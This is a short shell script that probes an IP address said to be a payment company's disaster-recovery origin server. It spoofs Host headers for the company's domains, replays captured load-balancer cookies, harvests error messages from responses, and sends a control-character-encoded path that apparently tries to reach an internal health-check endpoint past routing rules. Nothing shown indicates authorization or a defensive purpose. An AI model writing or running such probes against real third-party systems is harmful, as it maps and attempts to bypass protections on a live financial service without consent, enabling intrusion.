27 lines
1.4 KiB
Bash
Executable file
27 lines
1.4 KiB
Bash
Executable file
#!/bin/sh
|
|
# Intent 20438: DR origin pool typing (read-only GET) for 52.51.74.51
|
|
IP=52.51.74.51
|
|
echo "DRT-START $(date -u +%H:%M:%S)"
|
|
for HH in dr.paystack.com paystack.com; do
|
|
i=0
|
|
while [ $i -lt 3 ]; do
|
|
i=$((i+1))
|
|
J=/tmp/d1.$i.jar
|
|
c=$(curl -sk -m 20 -c $J -b $J -D /tmp/d1.$i.h -o /tmp/d1.$i.b -w '%{http_code}' -H "Host: $HH" "https://$IP/?pstkty=$i$RANDOM" 2>/dev/null)
|
|
n=$(wc -c </tmp/d1.$i.b 2>/dev/null)
|
|
A=$(grep -i '^set-cookie: AWSALB=' /tmp/d1.$i.h | head -1 | sed 's/^[Ss]et-[Cc]ookie: AWSALB=//; s/;.*//' | tr -d '\r')
|
|
c2=$(curl -sk -m 20 -o /tmp/d1.$i.s -w '%{http_code}' -H "Host: $HH" -H "Cookie: AWSALB=$A; AWSALBCORS=$A" "https://$IP/?pstkst=$i$RANDOM" 2>/dev/null)
|
|
n2=$(wc -c </tmp/d1.$i.s 2>/dev/null)
|
|
T=$(grep -o '<title>[^<]*' /tmp/d1.$i.b 2>/dev/null | head -1 | cut -c8-46 | tr -d '\n')
|
|
echo "TY|$HH|$i|$c|$n|$c2|$n2|$(echo $A | cut -c1-8)|$T"
|
|
if [ "$n" -gt 20000 ] && [ "$n" -lt 40000 ] && [ ! -f /tmp/d1.errseen ]; then
|
|
touch /tmp/d1.errseen
|
|
echo "ERRDETAIL|$(grep -oiE '(exception|error|message)[^<]{0,120}' /tmp/d1.$i.b 2>/dev/null | head -3 | tr '\n' ' ')"
|
|
fi
|
|
done
|
|
done
|
|
for HH in dr.paystack.com paystack.com; do
|
|
c=$(curl -sk -m 20 -o /tmp/d1.hc -w '%{http_code}' -H "Host: $HH" "https://$IP/?p=act%0bions/app/health-check" 2>/dev/null)
|
|
echo "HC|$HH|$c|$(wc -c </tmp/d1.hc)"
|
|
done
|
|
echo "DRT-TYPING-DONE"
|